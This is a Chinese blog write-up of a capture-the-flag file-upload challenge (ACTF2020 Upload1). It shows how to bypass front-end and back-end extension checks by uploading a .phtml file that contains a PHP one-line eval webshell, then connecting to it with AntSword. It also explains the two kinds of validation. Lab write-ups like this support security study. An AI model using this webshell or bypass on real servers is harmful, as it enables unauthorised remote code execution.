• 文件上传 [ACTF2020 新生赛]Upload1


    打开题目,发现是一道文件上传题目

    随便上传个一句话木马上去

    发现网站前端有白名单限制,只能上传含有jpg,png,gif的后缀文件

    那我们便传个2.jpg的一句话木马上去,bp抓包

    我们改成php文件后缀试试,发现重发过去显示Bad file

    说明原来不仅在前台校验,后台也做了校验。

    而且删除前端验证校验,发现php文件还是不能上传

    那我们便上传phtml文件

    用以下代码

    GIF89a? <script language="php">eval($_REQUEST[1])</script>

    删除前端验证后,发现可以上传成功

    蚁剑连接即可得到flag

     密码是1

    或者我们用下面的代码构造phtml文件

    上传成功后直接访问路径即可

    得到flag

    困惑 ????

    最开始我想到的做法是先上传htaccess文件,bp修改文件头,上传成功后然后再上传以jpg为文件后缀的一句话木马,蚁剑连接得到flag

    上传htaccess文件的时候,因为有前端校验,我们把前端校验删了以后,再bp抓包修改文件头,发现能够成功上传htaccess文件,但是接着上传jpg格式的一句话木马时,却怎么都连不上,换了很多种类的一句话木马都不行

    在这里我开始在想,因为我前阵子做的一道文件上传的题目(详情见:文件上传 [GXYCTF2019]BabyUpload1-CSDN博客)也是限制了只能上传图片类型的文件,但是那道题的做法就是上传htaccess文件,bp修改文件头使其上传成功后在传以jpg,png等为文件后缀的一句话木马,蚁剑连接得到flag,这道题我们同样也是限制了只能传图片类型的文件,为什么不能用这样的做法呢?

    后面大佬告诉我,是前端验证和前端后端验证共存的两种情况

    知识点

    • 什么是前端验证,后端验证 ?

    前后台校验,就是前台和后台都需要对某一数据进行合法性校验。根据数据的来源,又可将场景分为用户输入数据校验服务器生成数据校验文件上传校验三种子场景

    • 需要验证的场景有哪些 ?

    例,用户注册。用户需要填写一个表单,输入诸如用户名、密码、邮箱、公司等信息,点击提交,完成注册。
    其中,这个表单需要验证,可能的验证规则有:

    • 用户名不能有特殊字符,如%¥#@&
    • 邮箱必须符合正确的邮箱格式,如xxx@qq.com
    • 用户名不能重复
    • 密码必须包含数字、小写字母、大写字母、特殊字符,且长度不能少于8位

    • 什么是phtml文件

    .phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样

    因此,在生产用途中,.phtml和.php文件应该没有任何区别。

    文章参考wp: [ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1_@木兰%%的博客-CSDN博客

  • 相关阅读:
    2023数维杯国际赛数学建模D题完整论文分享!
    物联网网关助力生产数据可视化,提升智能管理水平
    (四)动态阈值分割
    OpenCv人脸识别开发实战
    【网络安全】网络安全基础精讲 - 网络安全入门第一篇
    excel split text into different rows
    华为云图像识别服务
    左旋肉碱除铁,左旋肉碱铁离子超标怎么解决?
    快速灵敏的Flink2
    每日一题js
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134361344